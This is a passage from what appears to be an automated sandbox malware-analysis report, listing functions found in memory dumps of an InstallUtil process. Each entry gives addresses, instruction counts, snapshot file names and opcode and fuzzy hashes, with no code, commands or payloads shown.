                                                                            • Instruction Fuzzy Hash: AD4151307106158FCB44EFA4D8A8A6EB7B6BFC9700F11451EE816AB394CF749D46CB91
                                                                            Function 07BC0A98 Relevance: 1.3, Strings: 1, Instructions: 85COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: 4'^q
                                                                            • API String ID: 0-1614139903
                                                                            • Opcode ID: 8b634d39143bcf82ce4cc4e2dbfc046233960d90d44d44cf9acee7684990c657
                                                                            • Instruction ID: 1f41fa64b0bc38b08e4200720e06ff1ee605d2ae2a321a8bd40dc3def28d429d
                                                                            • Opcode Fuzzy Hash: 8b634d39143bcf82ce4cc4e2dbfc046233960d90d44d44cf9acee7684990c657
                                                                            • Instruction Fuzzy Hash: 53218570B103198BDB54ABA4DCA8B6EB7A7BFC5700F11852EE406EB394CF745C468B45
                                                                            Function 07BC9491 Relevance: 1.3, Strings: 1, Instructions: 27COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: xbq
                                                                            • API String ID: 0-73991425
                                                                            • Opcode ID: 8c6986eb1dfbb78ee4c94c24a5ee228992d8dcb9f48f015497a37c3d04b0273b
                                                                            • Instruction ID: 0826ee296233f368e74fe6b5bc3fcb03c3483f622b1b3231c4add2a5099f66e1
                                                                            • Opcode Fuzzy Hash: 8c6986eb1dfbb78ee4c94c24a5ee228992d8dcb9f48f015497a37c3d04b0273b
                                                                            • Instruction Fuzzy Hash: 13F065757401049FEB04CB18D945A69FBE5FF89324F158199E509AF362C771FD058F50
                                                                            Function 07BC0CE8 Relevance: .4, Instructions: 437COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f83e62fc240812e2712945fa773a63553abfcebc21c26aa61b00a7a381e51ac3
                                                                            • Instruction ID: a241e27c0de8cadf45023049ae88464ece674a00295e5cb486870b283e8279cd
                                                                            • Opcode Fuzzy Hash: f83e62fc240812e2712945fa773a63553abfcebc21c26aa61b00a7a381e51ac3
                                                                            • Instruction Fuzzy Hash: 7D120A74A102198FDB54EF68C894A9DBBB2FF89300F5185A9E449AB355DF30ED86CF40
                                                                            Function 07BC48C8 Relevance: .3, Instructions: 324COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a341d10122116bd27c1cd2c0c557e20dc2933d61780261937bd4bc30296721b0
                                                                            • Instruction ID: 4c9c1c9846b41e5194e425659da82324ce1a27ccd4fb7fafc256a196d32097a3
                                                                            • Opcode Fuzzy Hash: a341d10122116bd27c1cd2c0c557e20dc2933d61780261937bd4bc30296721b0
                                                                            • Instruction Fuzzy Hash: C7C18FB0B002568FDB55EF64D864B6E7BB2FF85300F1481AED8119B394CB759E42CB91
                                                                            Function 07BCA200 Relevance: .3, Instructions: 310COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 2834566986a20820b184c50f3ab31aeb3c24f1fbd8036c59aed698cea4647c6d
                                                                            • Instruction ID: 813a1ce3bc2bf6ec5f6652a131dc2b2ed042ab8d08e27e96302c221d66033bd1
                                                                            • Opcode Fuzzy Hash: 2834566986a20820b184c50f3ab31aeb3c24f1fbd8036c59aed698cea4647c6d
                                                                            • Instruction Fuzzy Hash: BCC1BEB1A046598FDB25CF29C458A2ABBF2FF85310F18C59DE586CB692DB30E841CB51
                                                                            Function 07BC5A54 Relevance: .3, Instructions: 276COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 207824c2aaf3f8de9f2d6342da7ffc3850fda186c3190b111af6b1e16b49fc22
                                                                            • Instruction ID: 02c56b6f857259dd928a4b0bfaaee387767fd4e52bc363887e1c21913f87d9b1
                                                                            • Opcode Fuzzy Hash: 207824c2aaf3f8de9f2d6342da7ffc3850fda186c3190b111af6b1e16b49fc22
                                                                            • Instruction Fuzzy Hash: 63A19F747007198FCB44EF68C8A496E7BB2BFC9700B10855AE9169B3A4DF35ED42CB91
                                                                            Function 07BC5A88 Relevance: .3, Instructions: 256COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: adb3bf474d9dacffd97657e28f3951c18f88efafa99f537933cad996e59808c7
                                                                            • Instruction ID: f97bb7ddc537082124001d68df6b4e63e464cd430881e240354614ef7d1facab
                                                                            • Opcode Fuzzy Hash: adb3bf474d9dacffd97657e28f3951c18f88efafa99f537933cad996e59808c7
                                                                            • Instruction Fuzzy Hash: 4FA17C747006198FCB44EF68C8A896E77B2BFC9700F108659E9169B3A4DF75ED42CB81
                                                                            Function 07BC5590 Relevance: .2, Instructions: 245COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4f6d1bd9f38f42324704e9c87537e42009851a3ec46d41d1f50fed0659ab5058
                                                                            • Instruction ID: 5eb375bbb9cce2bf7f44351a58b11210ca38b1b24c962529aa2903ef23c2f952
                                                                            • Opcode Fuzzy Hash: 4f6d1bd9f38f42324704e9c87537e42009851a3ec46d41d1f50fed0659ab5058
                                                                            • Instruction Fuzzy Hash: A0A12F74B112199FDB44EFA5D894EAEB7B2BFC9300F118159E801AB3A5CB71EC42CB50
                                                                            Function 07BC0CD8 Relevance: .2, Instructions: 237COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b406809ff5e2aa388e13940d7d7851c75259989b75f37c83bfc8bae55a07b921
                                                                            • Instruction ID: e3234641eed61fd632062f1270bb1df4af4734c9858fac4c445910b6cc8e5570
                                                                            • Opcode Fuzzy Hash: b406809ff5e2aa388e13940d7d7851c75259989b75f37c83bfc8bae55a07b921
                                                                            • Instruction Fuzzy Hash: D7A11CB4A002198FDB54DF64D894BADB7B2BF89300F5181A9E549AB355DF30AD85CF40
                                                                            Function 07BC1CA8 Relevance: .2, Instructions: 223COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 34269a8b502da1b4ce23a00f0ee6ece5b28b5d1061b64026594ef8e4ee1e8ec8
                                                                            • Instruction ID: b86fa2b1bd489af10e36c0485010b22854964ff4def7b3d1793e680a4b2a4922
                                                                            • Opcode Fuzzy Hash: 34269a8b502da1b4ce23a00f0ee6ece5b28b5d1061b64026594ef8e4ee1e8ec8
                                                                            • Instruction Fuzzy Hash: AC813FB47102199FDB44DF68D898A6DB7B5FF89700F158199E906EB3A1CB34EC42CB90
                                                                            Function 07BC960B Relevance: .2, Instructions: 199COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 39c581cdb8df52376e3785943abe421f69f7b4c2498b0b8eaba92a1a45d5d1f5
                                                                            • Instruction ID: 52a9a3db33fe6c2e8e799d0e4dd0c8de3160dee38923e65083c46448d1eae5a6
                                                                            • Opcode Fuzzy Hash: 39c581cdb8df52376e3785943abe421f69f7b4c2498b0b8eaba92a1a45d5d1f5
                                                                            • Instruction Fuzzy Hash: CE81D6B4A21229EFEB14DF98D984EADB7B2FF48314F158199E505AB361D731EC41CB40
                                                                            Function 07BC3610 Relevance: .2, Instructions: 183COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a9443a4f8c42dc314d41d0112f091ab87c663b802bef09ea4ec5c966199faf78
                                                                            • Instruction ID: 44706915a7e32d26227b85fc9c7bd1ed49a0d2a49c7ddb8965404d01cb52dafd
                                                                            • Opcode Fuzzy Hash: a9443a4f8c42dc314d41d0112f091ab87c663b802bef09ea4ec5c966199faf78
                                                                            • Instruction Fuzzy Hash: 2A51E376A00115EFDB0ACF94D904D99BBB2FF49310B0681D9E609AB272C732E965DF81
                                                                            Function 07BC1C98 Relevance: .2, Instructions: 169COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 21d06750201ba3c03e8de12f89be8de5184b1d8a11a306f7fa1db96a552e9f66
                                                                            • Instruction ID: 70178353a6e5dcd84da1927ea972dbd6d87d3687f8464634bb05b5608a6c4f5b
                                                                            • Opcode Fuzzy Hash: 21d06750201ba3c03e8de12f89be8de5184b1d8a11a306f7fa1db96a552e9f66
                                                                            • Instruction Fuzzy Hash: 6A611CB47102099FDB44DF68D894A6DB7B5FF89700F1581A9E915EB365CB30EC42CB90
                                                                            Function 07BCA098 Relevance: .1, Instructions: 130COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1d3c3acda031f4bf9f64ba46e0042fb436adbe0af1bdb22309f93146a3de4fc0
                                                                            • Instruction ID: 6e8dfe7d1e8575fb5faddbf2a5a01972f2b9b3edfd9e0e950d4c6fc4238eeb17
                                                                            • Opcode Fuzzy Hash: 1d3c3acda031f4bf9f64ba46e0042fb436adbe0af1bdb22309f93146a3de4fc0
                                                                            • Instruction Fuzzy Hash: 4F41D2B0B007198FDB64DB78D54029EBBF2EF85610F44C9AED15AC7A80DA35E905CB82
                                                                            Function 07BC45F4 Relevance: .1, Instructions: 123COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f9f98b4668a662d47b0f4ebe896937943e3c93a6997621cc95902cf4a65dfbbc
                                                                            • Instruction ID: a2345ccf2ef50076ce7b02384599ca0ece1c02ad39831969265a1bf1ed16dbc0
                                                                            • Opcode Fuzzy Hash: f9f98b4668a662d47b0f4ebe896937943e3c93a6997621cc95902cf4a65dfbbc
                                                                            • Instruction Fuzzy Hash: 8A41A171F002058FD704DB68C850A6EFBF6FFC9310B2585AAE109DB361DA71AC05CB80
                                                                            Function 07BC4D51 Relevance: .1, Instructions: 100COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 23888d376521e727c9ad8f023d9d01a13defb4b959aaea5e9e10a8abfffda463
                                                                            • Instruction ID: 135633d7d42ff06ef9c592aec005c82905be18472cd8447b5e94a58919201a36
                                                                            • Opcode Fuzzy Hash: 23888d376521e727c9ad8f023d9d01a13defb4b959aaea5e9e10a8abfffda463
                                                                            • Instruction Fuzzy Hash: 8131AE74B102458FCB45EF78D8A456E7BB6BFC9700B01815BE812DB365DF349906CBA1
                                                                            Function 07BC1FC8 Relevance: .1, Instructions: 94COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b903a1ff1b3a4f7080ec8b8b958fb966a79f66291e4d932f906bf016de4ebae3
                                                                            • Instruction ID: a7ef1c6aa5c0b8288f9f1e376e34fd0b119d8efd99311d2e0c134f5f259d48d6
                                                                            • Opcode Fuzzy Hash: b903a1ff1b3a4f7080ec8b8b958fb966a79f66291e4d932f906bf016de4ebae3
                                                                            • Instruction Fuzzy Hash: 21313E75A002199BEF14DF64DC94AEEB7B6FF88350F10806AE905B7394DB719D41CBA0
                                                                            Function 07BC4D68 Relevance: .1, Instructions: 93COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 65952e1f481e5b891ab9471e89c8ea3a11583a3e7d03e8443fc629104d337b42
                                                                            • Instruction ID: 33f70f3fba28a0d73e0faba93e5bfe62f2a52bc0b3858e8933c368a5db84d16e
                                                                            • Opcode Fuzzy Hash: 65952e1f481e5b891ab9471e89c8ea3a11583a3e7d03e8443fc629104d337b42
                                                                            • Instruction Fuzzy Hash: B6318334B106058FCB84EFA8D8A456EBBB6BFC9700F10815AE9129B354DF749D02CBE1
                                                                            Function 0123D4D8 Relevance: .1, Instructions: 75COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2922963123.000000000123D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0123D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_123d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 276373a611f39c6c4372cd82e6f3eb0534751dcfdf8e17bc8e8891928ead826a
                                                                            • Instruction ID: 6ce7fd9c9b8234be786b6f2ec382adb9aaf30f959b787724292be60bdb686552
                                                                            • Opcode Fuzzy Hash: 276373a611f39c6c4372cd82e6f3eb0534751dcfdf8e17bc8e8891928ead826a
                                                                            • Instruction Fuzzy Hash: 472128B1510208DFDB05DF58E9C0B16BF65FBC8318F608169D9094B296C336D456C6A1
                                                                            Function 0124D01C Relevance: .1, Instructions: 72COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923015473.000000000124D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0124D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_124d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f7fe300090ae8dfc1ff01947f67a363229b24cf16801a9f6a19b0780b34d337a
                                                                            • Instruction ID: 3e9bf77fb310cebe521fdc4a533cb71e1ab13f69b8c8fc0cfd08e9feaa5ad98a
                                                                            • Opcode Fuzzy Hash: f7fe300090ae8dfc1ff01947f67a363229b24cf16801a9f6a19b0780b34d337a
                                                                            • Instruction Fuzzy Hash: 23214270214208DFCB19DFA8D984B26BFA1EB94314F20C56DD90A4B256C37AD407CA61
                                                                            Function 07BC9AF8 Relevance: .1, Instructions: 70COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: bccd08d267786e0b93b5041f3f908e81c3d961e90e1a4203b5325e59c6d1065a
                                                                            • Instruction ID: 43ab77432ea0eaff63e9b1ff42ee1e94cc0c86a6203a5bd9b142e765683c2053
                                                                            • Opcode Fuzzy Hash: bccd08d267786e0b93b5041f3f908e81c3d961e90e1a4203b5325e59c6d1065a
                                                                            • Instruction Fuzzy Hash: C6213D75A00219AFDB05DFA8C454AED7BB6EF8D320F148269E815AB394CB719845CB50
                                                                            Function 07BC9B08 Relevance: .1, Instructions: 67COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 399b1f588a832fa2bad42efc82175cc595e567f9412754f01dff19e01a055918
                                                                            • Instruction ID: 97474f92fcd43a11aae91ae7db9530780bf1651fc282e304f95d4e7c50c39905
                                                                            • Opcode Fuzzy Hash: 399b1f588a832fa2bad42efc82175cc595e567f9412754f01dff19e01a055918
                                                                            • Instruction Fuzzy Hash: 8F214F71A00219AFDB15DFA8C4549EEBFB6EF8D320F149129E415AB394CF71A841CFA0
                                                                            Function 0124D006 Relevance: .1, Instructions: 63COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2923015473.000000000124D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0124D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_124d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f538d7ea208d202c13ce37ea958081171c35d2a97689468923043d266a2739c8
                                                                            • Instruction ID: e7112512cbd9b9ce16659d92ba835b3be9fd12a33955ea78e8e5dc54c66937ca
                                                                            • Opcode Fuzzy Hash: f538d7ea208d202c13ce37ea958081171c35d2a97689468923043d266a2739c8
                                                                            • Instruction Fuzzy Hash: E5219F755083849FCB07CF64D994B11BF71EB56314F28C5EAD9498F2A7C33A980ACB62
                                                                            Function 07BC2EE2 Relevance: .1, Instructions: 61COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1233bbea1aa20291e7adcbbd001011a6f3058f116b01167666cb19c1f550161a
                                                                            • Instruction ID: a2ea2468fc85ee0d25a2c0a60057035b8b468bfc24dc6eec9c0c3f80bff8986d
                                                                            • Opcode Fuzzy Hash: 1233bbea1aa20291e7adcbbd001011a6f3058f116b01167666cb19c1f550161a
                                                                            • Instruction Fuzzy Hash: A91123B57483408FE716EB309962B553FB1AF46300F0584EFD504CF2A2EA62EC01CB52
                                                                            Function 0123D4D3 Relevance: .1, Instructions: 56COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2922963123.000000000123D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0123D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_123d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                            • Instruction ID: 1c9a4da8fa9c900733b688185fe2979ce227ce79392b98131f5423df4a00783d
                                                                            • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                                            • Instruction Fuzzy Hash: F61103B2504244CFCB12CF54D5C4B16BF71FB84318F24C2A9D9090B257C33AD45ACBA1
                                                                            Function 07BC9F98 Relevance: .1, Instructions: 56COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 11b8609bfbebe8589d3ca727c5c47ae57d62ed9d9421ca2061a5eab57ef8be2a
                                                                            • Instruction ID: a64f323f3534c4e94aa4e324d668b534344e7694b658438b827748f6277ab265
                                                                            • Opcode Fuzzy Hash: 11b8609bfbebe8589d3ca727c5c47ae57d62ed9d9421ca2061a5eab57ef8be2a
                                                                            • Instruction Fuzzy Hash: 11118EB53002059FDB25AB34E86887E3BAAEFC5761704806EE906CB351DF31DC02CB91
                                                                            Function 07BC2F42 Relevance: .1, Instructions: 54COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a082b54c53d16f685d7a71e82c68c6d5e453f481cc09cd927b610c8172a9bcd7
                                                                            • Instruction ID: d7424c595d8416f30e436d51a9f09ceb07cbd252c2522fa216785714db08a468
                                                                            • Opcode Fuzzy Hash: a082b54c53d16f685d7a71e82c68c6d5e453f481cc09cd927b610c8172a9bcd7
                                                                            • Instruction Fuzzy Hash: 5A11C2B5A003098FEB15EB64C9217ED7BB2AF89200F1084AED011BB390DF769C008BA1
                                                                            Function 07BC2100 Relevance: .1, Instructions: 51COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 413a52f4bbba121fc056876ad29ba4eaa02e19fb5d2d0fe0cdc86e2a6398c32a
                                                                            • Instruction ID: ff71a6b6a7220a8ac4339c060b91ecab9ab0c1e87e7ad8b47c3b5172537d689a
                                                                            • Opcode Fuzzy Hash: 413a52f4bbba121fc056876ad29ba4eaa02e19fb5d2d0fe0cdc86e2a6398c32a
                                                                            • Instruction Fuzzy Hash: 1B01C4B17003019FD725EA34DD54B3A77A2ABC9314F05859ED6158B6D1CB75DC42CB80
                                                                            Function 07BC23DD Relevance: .0, Instructions: 46COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4ec504aaea8daf9018defb7f39a35614c1e8782375bf8b6d844aa3f55675c4c9
                                                                            • Instruction ID: 7de8b0c0d05443dbbe6ffd818f22a1ba50474c1bdc0e61cf701b1d77fad1fb7d
                                                                            • Opcode Fuzzy Hash: 4ec504aaea8daf9018defb7f39a35614c1e8782375bf8b6d844aa3f55675c4c9
                                                                            • Instruction Fuzzy Hash: D001F9B12443448FD705FF70E86556D3B71AB9630071180EED505CF692C736DC42CB56
                                                                            Function 07BC9808 Relevance: .0, Instructions: 46COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 634ed23a16b89b70caf8718a5ce4563ba8584ca4f43a7029d48b3b3cf1d70de0
                                                                            • Instruction ID: ee68bb2a156b2585955f491cbd871ceb7f19774e1d145da3f951cc4f435df897
                                                                            • Opcode Fuzzy Hash: 634ed23a16b89b70caf8718a5ce4563ba8584ca4f43a7029d48b3b3cf1d70de0
                                                                            • Instruction Fuzzy Hash: 561118B0A10264DFDB15DF98D998EADBBB1BF48320F054099F501AB3A2CB74AC41CB40
                                                                            Function 07BC2110 Relevance: .0, Instructions: 44COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
